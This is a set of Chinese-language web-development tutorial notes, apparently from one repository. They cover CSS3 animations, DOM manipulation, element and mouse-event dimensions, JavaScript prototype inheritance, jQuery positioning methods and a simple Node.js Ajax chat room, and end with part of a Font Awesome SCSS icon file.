height: 278px;
background-image: url("../images/info_3.png");
position: absolute;
left:50%;
top: 50%;
transform: translate(-100%,-50%);
}
.third .circle {
width: 453px;
height: 449px;
background-image: url("../images/circle.png");
position: absolute;
left: 57%;
top: 50%;
transform: translateY(-50%);
}
.third .circle .rocket {
width: 203px;
height: 204px;
background-image: url("../images/rocket.png");
position: absolute;
left: -50%;
top: 150%;
transition: left 0.8s, top 0.8s;
}
/* 第三屏动画 */
.third.current .circle .rocket {
left: 115px;
top: 115px;
}
/* 第四屏 */
.fourth {
position: relative;
}
.fourth .search {
width: 529px;
height: 438px;
position: absolute;
left: 50%;
top: 50%;
transform: translate(-115%, -50%);
overflow: hidden;
}
.fourth .search .search-bar{
width: 529px;
height: 66px;
background-image: url("../images/search.png");
transform: translateX(-100%);
}
.fourth .search .search-text{
width: 0;
height: 22px;
background-image: url("../images/key.png");
position: absolute;
left: 18px;
top: 23px;
}
.fourth .search .search-content{
width: 529px;
height: 0;
background-image: url("../images/result.png");
margin-top: -12px;
}
.fourth .info4 {
width: 612px;
height: 299px;
background-image: url("../images/info_4.png");
position: absolute;
left: 50%;
top: 50%;
transform: translateY(-50%);
}
/* 第四屏动画 */
.fourth.current .search .search-bar{
transform: none;
transition: transform 0.8s;
}
.fourth.current .search .search-text{
width: 99px;
transition: width 0.8s 0.8s steps(5);
}
.fourth.current .search .search-content{
height: 372px;
transition: height 0.8s 1.6s;
}
```
> 使用 current 交集选择器实现,当加载完某一全屏后需要执行的动画。

| Daotin/Web/02-CSS/02-CSS3/08-CSS3三个案例.md/0 | {
"file_path": "Daotin/Web/02-CSS/02-CSS3/08-CSS3三个案例.md",
"repo_id": "Daotin",
"token_count": 9560
} | 13 |
## 一、DOM概念
DOM 的全称为:**Document Object Model 文档对象模型**
我们把 html 文件看成一个文档,因为万物皆对象,所以这个文档也是一个对象。这个文档中所有的标签都可以看成一个对象,比如 div 标签,p 标签等。
### 1、相关概念
- html 页面有一个根标签 html 标签。
- 标签也叫元素,也叫对象。
- 页面中的顶级对象:document。
**节点(node)**:页面中所有的内容都是节点。包括标签,属性,文本等
xml 文件也可以看成一个文档。
html:侧重于展示数据。
xml:侧重于存储数据。
### 2、DOM树
文档下面有根标签 html,html 下有 head 和 body 标签,head 下又有 title 等,body 下又有 div 等。
由文档及文档中的所有元素(标签)组成的树状结构,叫树状图(DOM树)
## 二、DOM的作用
DOM的作用主要是:**操作页面的元素(标签)。**
**DOM经常进行的操作**
- 获取元素
- 动态创建元素
- 对元素进行操作(设置属性或调用其方法)
- 事件(什么时机做相应的操作)
## 三、DOM初体验
**基本上分三步走:**
1. 根据 id 等获取元素
2. 为获取的元素注册事件
3. 添加事件处理函数(注意:所有function后面都有分号。)
**示例:**
- 点击按钮,弹出对话框
```html
<!-- 方式一 -->
<body>
<input type="button" value="按钮" id="btn" onclick="show()">
<script>
function show() {
alert("hahahaha");
};
</script>
</body>
<!-- 方式二 -->
<body>
<input type="button" value="按钮" id="btn">
<script>
document.getElementById("btn").onclick = function () {
alert("hahahaha");
};
</script>
</body>
```
- 点击按钮显示图片,并设置图片宽高
```html
<body>
<input type="button" value="按钮" id="btn">
<img src="" id="im">
<script>
document.getElementById("btn").onclick = function() {
document.getElementById("im").src = "1.png";
document.getElementById("im").width = "600px";
document.getElementById("im").height = "200px";
};
</script>
</body>
```
> document.getElementById("xxx"); 返回值是一个标签对象,利用这个对象可以操作其中的元素,像 type,value 等都是它的元素。
- 点击按钮修改 p 标签的内容
```html
<body>
<input type="button" value="按钮" id="btn">
<p id="p1">p标签</p>
<script>
document.getElementById("btn").onclick = function() {
document.getElementById("p1").innerText = "我是一个P标签";
};
</script>
</body>
```
> 凡是成对的标签,设置中间的中间的文本内容,都是用`innerText`属性。
- 点击按钮设置所有的 p 标签内容
```html
<body>
<input type="button" value="按钮" id="btn"/>
<div>
<p>hello</p>
<p>hello</p>
<p>hello</p>
</div>
<div>
<p>Daotin</p>
<p>Daotin</p>
<p>Daotin</p>
</div>
<script>
document.getElementById("btn").onclick = function () {
var pObjs = document.getElementsByTagName("p");
for(var i=0; i<pObjs.length; i++) {
pObjs[i].innerText = "world";
}
}
</script>
</body>
```
*如果只想设置第一个 div 里面的 p标签怎么办呢?*
```html
<body>
<input type="button" value="按钮" id="btn"/>
<div id="box">
<p>hello</p>
<p>hello</p>
<p>hello</p>
</div>
<div>
<p>Daotin</p>
<p>Daotin</p>
<p>Daotin</p>
</div>
<script>
document.getElementById("btn").onclick = function () {
var pObjs = document.getElementById("box").getElementsByTagName("p");
for(var i=0; i<pObjs.length; i++) {
pObjs[i].innerText = "world";
}
}
</script>
</body>
```
- 点击按钮修改图片的 alt 和 title 属性
```html
<body>
<input type="button" value="按钮" id="btn">
<img src="1.png" alt="Google" title="logo">
<script>
document.getElementById("btn").onclick = function () {
var imgObjs = document.getElementsByTagName("img");
imgObjs[0].alt = "Daotin";
imgObjs[0].title = "nihao";
};
</script>
</body>
```
> imgObjs[0]:代表的就是伪数组的第一个对象。
- 点击按钮修改多个文本框的值
```html
<body>
<input type="button" value="点击按钮填充文本" id="btn"><br>
<input type="text" value=""><br>
<input type="text" value=""><br>
<input type="text" value=""><br>
<input type="text" value=""><br>
<input type="text" value=""><br>
<script>
document.getElementById("btn").onclick = function () {
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
// 判断 type 是否为text
if(inputs[i].type === "text") {
// 这时候不能使用 innerText ,因为这不是成对的标签
inputs[i].value = "Daotin,你好啊";
}
}
};
</script>
</body>
```
- 点击按钮修改 value 属性
```html
<body>
<input type="button" value="点击按钮填充文本" id="btn"><br>
<script>
var btnObj = document.getElementById("btn");
btnObj.onclick = function () {
// btnObj.value = "Daotin";
// btnObj.type = "text";
// btnObj.id = "btn2";
this.value = "Daotin";
this.type = "text";
this.id = "btn2";
};
</script>
</body>
```
> 在一个对象的事件里面对当前事件的属性的操作,可以使用`this.属性`来修改。
- 按钮的排他功能
```html
<body>
<input type="button" value="lvonve">
<input type="button" value="lvonve">
<input type="button" value="lvonve">
<input type="button" value="lvonve">
<input type="button" value="lvonve">
<script>
// 获取全部按钮
var btnObjs = document.getElementsByTagName("input");
// 循环为所有按钮注册点击事件
for(var i=0; i<btnObjs.length; i++) {
btnObjs[i].onclick = function (ev) {
// 先设置点击每个按钮的时候将所有的按钮value为lvonve
for(var j=0; j<btnObjs.length; j++) {
btnObjs[j].value = "lvonve";
}
//再设置当前点击的按钮为Daotin
this.value = "Daotin";
};
}
</script>
</body>
```
> 并不是我们通常想的,点击某一个按钮的时候,将之前点击的按钮恢复,而是点击每一个按钮之前,将所有的按钮恢复。
- 点击图片修改路径
```html
<body>
<input type="button" value="lvonve" id="btn">
<img src="1.png" id="im">
<script>
function myid(id) {
return document.getElementById(id);
}
myid("btn").onclick = function (ev) {
myid("im").src = "2.jpg";
};
</script>
</body>
```
> 如果有多个地方都使用了`document.getElementById("")` 的话,可以封装成一个函数来调用。
- 点击按钮选择性别和兴趣
```html
<body>
<input type="button" value="修改性别" id="btn1">
<input type="radio" value="1" name="sex">男
<input type="radio" value="2" name="sex" id="nv">女
<input type="radio" value="3" name="sex">保密
<br>
<input type="button" value="选择兴趣" id="btn2">
<input type="checkbox" value="1" name="hobby" id="chi">吃饭
<input type="checkbox" value="2" name="hobby">睡觉
<input type="checkbox" value="3" name="hobby" id="play">打豆豆
<script>
function my$(id) {
return document.getElementById(id)
}
my$("btn1").onclick = function () {
my$("nv").checked = true; // 填“checked”等同于true
};
my$("btn2").onclick = function () {
my$("chi").checked = true;// 填“checked”等同于true
my$("play").checked = true;// 填“checked”等同于true
};
</script>
</body>
```
> 1、在单标签中,如果属性对应的值只有一个,而且值和属性同名,那么 js 操作 DOM 的时候,这个属性值可以用布尔类型表示。比如:`checked="checked"` `selected="selected"` `disabled="disabled"` `readonle="readonly"` 等。
>
> 2、在上面例子,不管是写 "checked"还是其他任何的字符串,都会选中的,因为非空字符串都会被浏览器转换成 true。
>
| Daotin/Web/03-JavaScript/02-DOM/01-DOM的概念,对标签的操作.md/0 | {
"file_path": "Daotin/Web/03-JavaScript/02-DOM/01-DOM的概念,对标签的操作.md",
"repo_id": "Daotin",
"token_count": 4645
} | 14 |
## 内容更新
最新内容已更新至博客:[一文搞懂JavaScript中各种宽高位置(全)](https://daotin.github.io/2021/08/08/%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82JavaScript%E4%B8%AD%E5%90%84%E7%A7%8D%E5%AE%BD%E9%AB%98%E4%BD%8D%E7%BD%AE.html)
> 更新日期 *(added in 2021-08-13)*
以下内容为旧的,可以不必查看。
---
## 一、问题由来
刚开始学 DOM 操作中对于元素距离元素的距离问题总是迷迷糊糊的,虽然有万能的 getCurrentStyle 方式来取得所需要的属性,但是有时看别人的代码的时候,总会遇到很多简写的方式,或者有的时候为了简洁,关键字的方式更加合适,但是要求我们对这些属性的区别要特别清楚。
比如下面要说的 offset 系列,scroll 系列,client系列的距离,还有事件发生时 offsetX,clientX,pageX 等等的一些距离的总结,可以在我们忘记的时候翻翻一翻这篇文章,然后花最短的时间搞清楚它们之间的区别。
## 二、元素位置之间的距离
先看下示例代码:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
}
textarea {
width: 200px;
height: 200px;
border: 6px solid red;
padding: 5px;
margin: 10px;
/* overflow: scroll; */ /*加不加滚动条*/
white-space: nowrap; /*强制不换行*/
}
</style>
</head>
<body>
<textarea>1</textarea>
</body>
<script>
var textarea = document.querySelector("textarea");
console.log(textarea.clientWidth, textarea.scrollWidth, textarea.offsetWidth);
console.log(textarea.clientLeft, textarea.scrollLeft, textarea.offsetLeft);
</script>
</html>
```

> textarea.clientWidth = 200(可见区域) + 5(padding) + 5(padding)
>
> textarea.scrollWidth = 200(可见区域) + 5(padding) + 5(padding)
>
> textarea.offsetWidth = 200(可见区域) + 5(padding) + 5(padding) + 6(border) + 6(border)
>
> textarea.clientLeft = 6(border-left)
>
> textarea.scrollLeft = 0(横向滚动条滚动的距离)
>
> textarea.offsetLeft = 10(元素左外border距离父元素左内border的距离)
当我把滚动条加上的时候:

> textarea.clientWidth = 200(可见区域) + 5(padding) + 5(padding) - 17(滚动条宽度)
>
> textarea.scrollWidth = 200(可见区域) + 5(padding) + 5(padding) - 17(滚动条宽度)
>
> textarea.offsetWidth = 200(可见区域) + 5(padding) + 5(padding) + 6(border) + 6(border)
>
> textarea.clientLeft = 6(border-left)
>
> textarea.scrollLeft = 0(横向滚动条滚动的距离)
>
> textarea.offsetLeft = 10(元素左外border距离父元素左内border的距离)
当文字过长滚动条可以滑动的时候:

> textarea.clientWidth = 200(可见区域) + 5(padding) + 5(padding) - 17(滚动条宽度)
>
> textarea.scrollWidth = 280(整个内容,包括不可见区域) + 5(padding) + 5(padding) - 17(滚动条宽度)
>
> textarea.offsetWidth = 200(可见区域) + 5(padding) + 5(padding) + 6(border) + 6(border)
>
> textarea.clientLeft = 6(border-left)
>
> textarea.scrollLeft = 0(横向滚动条滚动的距离)
>
> textarea.offsetLeft = 10(元素左外border距离父元素左内border的距离)
由于每次打开时,滚动条的位置不变,所以我需要 js 设置滚动滚动条的时候,看每个值的变化:
```js
textarea.onscroll = function () {
console.log(textarea.clientWidth, textarea.scrollWidth, textarea.offsetWidth);
console.log(textarea.clientLeft, textarea.scrollLeft, textarea.offsetLeft);
};
```

我们可以发现,只有 scrollLeft 是在改变的。
上面是 width 系列 和 left 系列的一些值的情况,那么相应的 height 系列和 top 系列的值也是一样的。
### 1、总结一下
### 1.1、client系列
> **clientWidth = width(可见区域)+ padding - 滚动条宽度(如果有)**
>
> **clientHeight = height(可见区域)+ padding - 滚动条宽度(如果有)**
>
> **clientLeft:相当于元素左border(border-left)的宽度**
>
> **clientTop:相当于元素上border(border-top)的宽度**
### 1.2、scroll系列
> **scrollWidth = width(内容实际宽度,包括不可见区域) + padding**
>
> **scrollHeight = height(内容实际高度,包括不可见区域) + padding**
>
> **scrollLeft:指当前元素可见区左部,到完整内容左部的距离(也就是横向滚动条滚动的距离)。**
>
> **scrollTop:指当前元素可见区顶部,到完整内容顶部的距离(也就是纵向滚动条滚动的距离)。**
### 1.3、offset系列
在此之前,我们先看看一个属性:offsetParent。
offset是偏移的意思,既然是偏移就要有一个参照物,这个参照物就是 offsetParent。它指的是距离当前元素最近的定位父元素(position != static),这个定位父元素就是我们计算所有offset属性的参照物。
元素的 offsetParent 的获取方式:
- 通过元素的`offsetParent`属性直接获取。
- 元素`position:fixed`,则其`offsetParent`的值为`null`,此时相对视口定位。
- 元素非`fixed`定位,其父元素无位设置定位,则`offsetParent`均为`<body>`。
- 元素非`fixed`定位,其父元素中有设置定位的,则其中离当前元素最近的父元素为`offsetParent`。
- `<body>`的`offsetParent`为`null`,相对视口定位。
> **offsetWidth = width(可见区域) + padding + border**
>
> **offsetHeight = height(可见区域) + padding + border**
>
> **offsetLeft:元素左外边框距离父元素左内边框的距离(简单来说就是元素相对父元素左边的距离)**
>
> **offsetTop:元素上外边框距离父元素上内边框的距离(简单来说就是元素相对父元素上边的距离)**
下面有张图对上面的内容进行了总结,并给出了不同浏览器下的兼容性:

## 三、鼠标事件相关的坐标距离
鼠标事件中有很多描述鼠标事件发生时的坐标信息的,给大家介个图看看:

这么多的坐标位置到底有什么区别呢?下面两张图(来自网络)带你一眼看穿它们之间的区别:


### 1、总结一下
> **clientX** = 鼠标点击位置距离浏览器**可视区域**左边的距离
>
> **offsetX** = 鼠标点击位置距离元素左边的距离,不包括左border。
>
> **pageX** = scrollLeft + clientX (**但是IE8不支持**)
>
> **layerX** = offsetX + 左border + 左边滚动条滚动的距离
>
> **x** = 鼠标点击位置距离浏览器可视区域的左边距离(相当于 clientX)。
>
> **screenX** = 鼠标点击位置距离电脑屏幕左边的距离。
同样,上面都是 X 系列的位置比较,Y的方向上也是一样的。
看完这些,你对 DOM 元素的距离相关的属性都了解了吗?
| Daotin/Web/03-JavaScript/03-BOM/06-一文搞懂DOM相关距离问题.md/0 | {
"file_path": "Daotin/Web/03-JavaScript/03-BOM/06-一文搞懂DOM相关距离问题.md",
"repo_id": "Daotin",
"token_count": 4335
} | 15 |
## 一、原型链
原型链表示的是实例对象与原型对象之间的一种关系,这种关系是通过` __proto__ `原型来联系的。
### 1、原型的指向改变
实例对象的原型 `__proto__` 指向的是该对象的构造函数中的原型对象 prototype,如果该对象的构造函数的 prototype 指向改变了,那么实例对象中的原型 `__proto__` 的指向也会跟着改变。
例如:
```js
Person.prototype = new Cat();
```
> 因为 Person.prototype = {}; 可以是一个对象,所以传入另一个对象的实例函数是可以的,这时候 Person 的实例对象可以访问 Cat 原型 prototype 中的属性和方法,而不能再访问自己 Person 中原型的属性和方法了。
### 2、原型链的最终指向
实例对象的`__proto__`指向的是构造函数的原型对象 prototype,由于prototype也是个对象,所以也有 `__proto__` ,这个 `__proto__` 指向的是 Object 的 prototype,而 Object 的 prototype 里面的 `__proto__` 指向的是 null。
原型链图示:


示例:
```js
function Person() {}
var per = new Person();
console.log(per.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null
```

### 3、原型指向改变后添加原型方法
先看个案例:问下面程序有问题吗?
```js
function Person() {}
Person.prototype.eat = function () {};
function Student() {}
Student.prototype.say = function () {};
Student.prototype = new Person();
var stu = new Student();
stu.say();
```
解答:stu.say(); 会报错。因为 Student 的原型指向变成了 Person 的一个实例对象,Person 的实例对象钟并没有 say 方法,所以报错。
> 解决办法:在原型指向改变之后再添加原型方法。
```js
function Person() {}
Person.prototype.eat = function () {};
function Student() {}
Student.prototype = new Person();
Student.prototype.say = function () {};
var stu = new Student();
stu.say();
```
这个时候就不会报错, Student 添加的原型方法的位置是一个匿名 Person 的实例对象中,这里是一个 Person 的实例对象,不是所有的,所以当你再 new 一个 Person 的实例对象的时候,不会有 say 方法。
### 4、实例对象和原型对象属性重名问题
当实例对象访问一个属性的时候,会先从实例对象中找,找到了直接使用,找不到再到指向的原型对象中找,找到了使用,还是找不到,则为 undefined。
如何改变原型对象中的属性的值呢?**怎么赋值的怎么修改。**
如果你使用 `对象.属性 = 值` 的方式来赋值的话,如果这个属性在实例对象中有的话,改变的是实例对象中属性的值;如果实例对象中没有这个属性的话,则这次修改相当于给该实例对象添加了一个属性,其指向的原型对象中相应的属性的值并没有被改变。
使用 `实例对象.proto.属性 = 值` 可以修改原型对象中的属性的值,
但是**禁止这么做!!!**
因为这样做就相当于修改一个种族一样,这是上帝做的事情。
## 二、原型的继承
### 1、原型的继承
**原型的第二个作用:继承。目的也是节省内存空间。**
通过改变子类原型的指向到父类的实例对象,可以实现继承。
案例:
```js
// 父类:人
function Person(name, age) {
this.name= name;
this.age=age;
}
Person.prototype.eat = function () {
console.log("eat()");
};
// 子类:学生
function Student(sex) {
this.sex=sex;
}
// 子类继承父类只需要改变子类原型的指向到父类的实例对象。
Student.prototype = new Person("Daotin", 18);
Student.prototype.study = function () {
console.log("study()");
};
var stu = new Student("male");
console.log(stu.name); // Daotin
console.log(stu.age); // 18
stu.eat(); // eat()
```
**缺陷1**:在改变子类原型对象的指向的时候,属性在初始化的时候就固定了,那么每个子类实例对象的值都固定了。
**解决办法**:不需要子类原型的指向到父类的实例对象,只需要借用父类的构造函数。
```js
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.prototype.eat = function () {
console.log("eat()");
};
function Student(name, age, sex) {
Person.call(this, name, age);// Person.apply(this, arguments);
this.sex = sex;
}
//Student.prototype = new Person("Daotin", 18);
Student.prototype.study = function () {
console.log("study()");
};
var stu = new Student("Daotin", 18, "male");
console.log(stu.name);
console.log(stu.age);
console.log(stu.sex);
stu.eat(); // 不能访问
```
> `Person.call(this, name, age); `第一个参数 this,表示当前对象,意思是当前对象呼叫 Person,将 name 和 age 传过来,具体传多少,我自己指定。这样不同的子类,通过自己可以设置不同的属性。
**缺陷2**:`stu.eat(); `不能访问了,就是父类原型方法不能继承了。
**解决办法**:**组合继承(原型方式继承 + 借用构造函数继承)**
```js
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.prototype.eat = function () {
console.log("eat()");
};
function Student(name, age, sex) {
Person.call(this, name, age); // 借用父类构造函数,实现父类属性的继承
this.sex = sex;
}
Student.prototype = new Person(); // 不传参数了,实现原型方法的继承
Student.prototype.study = function () {
console.log("study()");
};
var stu = new Student("Daotin", 18, "male");
console.log(stu.name);
console.log(stu.age);
console.log(stu.sex);
stu.eat();
stu.study();
```
> `Student.prototype = new Person(); `// 不传参数了,实现原型方法的继承。
>
> `Person.call(this, name, age); `// 借用父类构造函数,实现父类属性的继承。
### ~~2、拷贝继承~~
~~就是把对象中需要共享的属性和方法直接以遍历的方式复制到了另一个对象中。~~
```js
function Person(name, age) {
this.name = name;
this.age = age;
}
Person.prototype.eat = function () {
console.log("eat()");
};
var per = {};
// 循环拷贝
for(var key in Person.prototype) {
per[key] = Person.prototype[key];
}
console.log(per);
```
### 示例:ES5的继承(Ball继承Box)
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
// 父类Box
var Box=(function () {
function Box(b) {
this.b=b;
}
Box.prototype={
w:20,
h:20,
play:function () {
console.log("aa")
return this.w+this.h+this.b;
}
};
Box.prototype.constructor=Box;
return Box;
})();
// 子类Ball
var Ball=(function () {
function Ball(b) {
// 执行父类的构造函数,并且将当前的对象冒充带入
this.superClass.apply(this,arguments);
}
return Ball;
})();
extend(Ball,Box);
// 覆盖继承只能写在extend后面,不要将这个写在子类里
Ball.prototype.play=function () {
return this.w*this.h+this.b;
};
var ball=new Ball(20);
console.log(ball.play);
// 实现继承的方法
function extend(subClass,supClass) {
// 定义临时类用于接收父类的实例对象
function F() {}
F.prototype=supClass.prototype;
subClass.prototype=new F();
subClass.prototype.constructor=subClass;
subClass.prototype.superClass=supClass;
if(supClass.prototype.constructor===Object.prototype.constructor){
supClass.prototype.constructor=supClass;
}
}
</script>
</body>
</html>
```
## 三、ES6中的类与继承
ES6中的类的定义与类的继承范例:
```js
//创造类
class Box{
//构造函数
constructor(b){
this.b=b;
this.w=10;
this.h=20;
}
//类下的方法
play(){
return this.w+this.h+this.b
}
fire(){
console.log("生火");
}
}
//创造Ball类并且继承Box类
class Ball extends Box{
//构造函数,
constructor(b){
//在调用子类构造函数之前,一定要先调用父类的构造函数 super(b)。
super(b);
}
//执行覆盖父类的play方法
play(){
return this.w*this.h+this.b;
}
fire(){
console.log("捡柴");
//执行父类的方法
super.fire();
}
}
```
| Daotin/Web/03-JavaScript/04-JavaScript高级知识/04-原型链,继承.md/0 | {
"file_path": "Daotin/Web/03-JavaScript/04-JavaScript高级知识/04-原型链,继承.md",
"repo_id": "Daotin",
"token_count": 5379
} | 16 |
## 一、操作元素的width和height
### 1、方法一
```js
元素.css("width"); // 获取元素的宽度(无论是css样式还是行内样式都可以获取到)
元素.css("height");
```
> 最后得到的是字符串类型的,比如 `200px`。
如果我们在设置为原来宽高2倍的时候,就要先把获取的宽高转换成数字类型,再乘以2,这样操作比较麻烦,有没有简单的方法呢?
### 2、方法二
```js
元素.width(属性值或者数字);
元素.height(属性值或者数字);
```
> 1、jQuery中用以上方式可以获取和设置元素的宽高。
>
> 2、当没有参数的时候是获取元素的宽高属性。
>
> 3、当设置参数为 `200 或者 200px `的时候是设置元素的宽高为 200px。
>
> 4、以上方法不仅可以获取行内式元素的宽高,也可以获取嵌入式写法元素的宽高。
示例:
```html
<script>
$(function () {
$("#btn").click(function () {
$("#dv").width( $("#dv").width()*2);
$("#dv").height( $("#dv").height()*2);
});
});
</script>
```
### 3、几个元素的宽高属性
```js
元素.innerWidth()/innerHeight() // 方法返回元素的宽度/高度(width+padding)
元素.outerWidth()/outerHeight() // 方法返回元素的宽度/高度(width+padding+border)
元素.outerWidth(true)/outerHeight(true) // 方法返回元素的宽度/高度(width+padding+border+margin)
```
## 二、操纵元素的left和top
### 1、方法一
```js
元素.css("left");
元素.css("top");
```
### 2、方法二(针对页面的偏移值)
```js
// 元素的left和top获取
元素.offset();
// 元素的left和top设置
元素.offset({"left":值, "top",值}; // 注意:值为数字,没有px
//
元素.getBoundingClientRect(); // 获取元素一系列距离属性集合。
//元素.getBoundingClientRect()和 $("div div").offset()的left top相同
```
> 1、`元素.offset();` 返回值是一个对象。(比如:{top: 200, left: 200})
>
> 2、这里的 left 是包括:left 的值和 margin-left 值之和。
>
> 3、这里的 top 是包括:top 的值和 margin-top 值之和。
>
> **4、在设置的时候,left 和 top 的值是数字,没有 px。**
示例:
```js
$(function () {
$("#btn").click(function () {
$("#dv").offset({"left":$("#dv").offset().left*2, "top":$("#dv").offset().top*2});
});
});
```
### 3、方法三(针对父元素的偏移值)
```js
元素.position(); // 不管父容器是否有宽高有定位,这个都是子容器相对父容器的定位
// 元素.position(); 不可以设置值,设置值之后不报错,但是无作用。
```
## 三、操纵元素卷曲出去的值
语法:
```js
// 获取元素向左卷曲出去的距离
元素.scrollLeft();
// 获取元素向上卷曲出去的距离
元素.scrollTop();
// 获取页面向左卷曲出去的距离
document.scrollLeft();
// 获取页面向上卷曲出去的距离
document.scrollTop();
```
>注意:
>
>1、在DOM中,需要document.documentElement.scrollTop=200;而不能直接写document,但是jq里面可以。
>
>2、没有scrollWidth() 和 scrollHeight()。
```js
元素.scroll(function() {
}); // 元素卷曲事件,元素在向上或向左卷曲的时候触发的事件。
```
| Daotin/Web/04-jQuery/05-元素宽高距离相关.md/0 | {
"file_path": "Daotin/Web/04-jQuery/05-元素宽高距离相关.md",
"repo_id": "Daotin",
"token_count": 2028
} | 17 |
这个聊天室的案例是:
填写用户名和发送的消息,点击发送按钮,就会在textarea中显示出来。
node后台:
```js
var http=require("http"); // 导入http.js文件
var msgList=[];
// 创建server服务
// req:接收前端的数据
// res:发送给前端的数据
var server=http.createServer(function (req,res) {
var data="";
// post请求接收数据的函数
// post接收到的数据就在函数的参数d里面
req.on("data",function (d) {
data+=d;
});
// get请求接收数据的函数
req.on("end",function () {
var obj=JSON.parse(decodeURIComponent(data));
if(obj.type===0){
delete obj.type;
msgList.push(obj);
}
res.writeHead(200,{"Access-Control-Allow-Origin":"*"});
res.write(encodeURIComponent(JSON.stringify(msgList)));
res.end();
})
});
// 地址 http://192.168.53.213:3002
server.listen(3002,"192.168.53.213",function () {
console.log("开启服务了");
});
```
前端代码:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
#names{
width: 120px;
}
#msgs{
width: 680px;
}
</style>
</head>
<body>
<textarea id="msgText" rows="30" cols="120"></textarea>
<br>
<input id="names" type="text">:
<input id="msgs" type="text">
<button id="bn">发送</button>
<script>
// 接口文档
// 1、
// req
// type=0
// user="xie"
// msg="聊天信息"
// res
// [
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// ]
// 2、实时获取聊天信息
// req
// type=1
// res
// [
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// {user:"xie",msg:"聊天信息"},
// ]
var msgText=document.querySelector("#msgText");
var names=document.querySelector("#names");
var msgs=document.querySelector("#msgs");
var bn=document.querySelector("#bn");
bn.addEventListener("click",clickHandler);
function clickHandler(e) {
// 判断输入的姓名和留言信息是否为空
if(names.value.trim().length===0 || msgs.value.trim().length===0)return;
// type为0是发送消息
ajax({type:0,user:names.value,msg:msgs.value});
}
function ajax(data) {
var xhr=new XMLHttpRequest();
xhr.addEventListener("load",loadHandlder);
xhr.open("POST","http://192.168.53.213:3002");
xhr.send(encodeURIComponent(JSON.stringify(data)));
}
function loadHandlder(e) {
var arr=JSON.parse(decodeURIComponent(this.response));
// 将服务器返回的消息进行格式处理,方便显示
arr=arr.map(function (item) {
return item.user+":"+item.msg;
});
//每条消息换行显示
msgText.value=arr.join("\n");
//设置滚动条一直在底部
msgText.scrollTop=msgText.scrollHeight;
}
// 每16ms向后台获取一次消息
setInterval(getMsg,16);
// type为1是获取消息
function getMsg() {
ajax({type:1});
}
</script>
</body>
</html>
```
| Daotin/Web/06-Ajax/案例02:Ajax聊天室Node版.md/0 | {
"file_path": "Daotin/Web/06-Ajax/案例02:Ajax聊天室Node版.md",
"repo_id": "Daotin",
"token_count": 2122
} | 18 |
/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
readers do not read off random characters that represent icons */
.#{$fa-css-prefix}-glass:before { content: $fa-var-glass; }
.#{$fa-css-prefix}-music:before { content: $fa-var-music; }
.#{$fa-css-prefix}-search:before { content: $fa-var-search; }
.#{$fa-css-prefix}-envelope-o:before { content: $fa-var-envelope-o; }
.#{$fa-css-prefix}-heart:before { content: $fa-var-heart; }
.#{$fa-css-prefix}-star:before { content: $fa-var-star; }
.#{$fa-css-prefix}-star-o:before { content: $fa-var-star-o; }
.#{$fa-css-prefix}-user:before { content: $fa-var-user; }
.#{$fa-css-prefix}-film:before { content: $fa-var-film; }
.#{$fa-css-prefix}-th-large:before { content: $fa-var-th-large; }
.#{$fa-css-prefix}-th:before { content: $fa-var-th; }
.#{$fa-css-prefix}-th-list:before { content: $fa-var-th-list; }
.#{$fa-css-prefix}-check:before { content: $fa-var-check; }
.#{$fa-css-prefix}-remove:before,
.#{$fa-css-prefix}-close:before,
.#{$fa-css-prefix}-times:before { content: $fa-var-times; }
.#{$fa-css-prefix}-search-plus:before { content: $fa-var-search-plus; }
.#{$fa-css-prefix}-search-minus:before { content: $fa-var-search-minus; }
.#{$fa-css-prefix}-power-off:before { content: $fa-var-power-off; }
.#{$fa-css-prefix}-signal:before { content: $fa-var-signal; }
.#{$fa-css-prefix}-gear:before,
.#{$fa-css-prefix}-cog:before { content: $fa-var-cog; }
.#{$fa-css-prefix}-trash-o:before { content: $fa-var-trash-o; }
.#{$fa-css-prefix}-home:before { content: $fa-var-home; }
.#{$fa-css-prefix}-file-o:before { content: $fa-var-file-o; }
.#{$fa-css-prefix}-clock-o:before { content: $fa-var-clock-o; }
.#{$fa-css-prefix}-road:before { content: $fa-var-road; }
.#{$fa-css-prefix}-download:before { content: $fa-var-download; }
.#{$fa-css-prefix}-arrow-circle-o-down:before { content: $fa-var-arrow-circle-o-down; }
.#{$fa-css-prefix}-arrow-circle-o-up:before { content: $fa-var-arrow-circle-o-up; }
.#{$fa-css-prefix}-inbox:before { content: $fa-var-inbox; }
.#{$fa-css-prefix}-play-circle-o:before { content: $fa-var-play-circle-o; }
.#{$fa-css-prefix}-rotate-right:before,
.#{$fa-css-prefix}-repeat:before { content: $fa-var-repeat; }
.#{$fa-css-prefix}-refresh:before { content: $fa-var-refresh; }
.#{$fa-css-prefix}-list-alt:before { content: $fa-var-list-alt; }
.#{$fa-css-prefix}-lock:before { content: $fa-var-lock; }
.#{$fa-css-prefix}-flag:before { content: $fa-var-flag; }
.#{$fa-css-prefix}-headphones:before { content: $fa-var-headphones; }
.#{$fa-css-prefix}-volume-off:before { content: $fa-var-volume-off; }
.#{$fa-css-prefix}-volume-down:before { content: $fa-var-volume-down; }
.#{$fa-css-prefix}-volume-up:before { content: $fa-var-volume-up; }
.#{$fa-css-prefix}-qrcode:before { content: $fa-var-qrcode; }
.#{$fa-css-prefix}-barcode:before { content: $fa-var-barcode; }
.#{$fa-css-prefix}-tag:before { content: $fa-var-tag; }
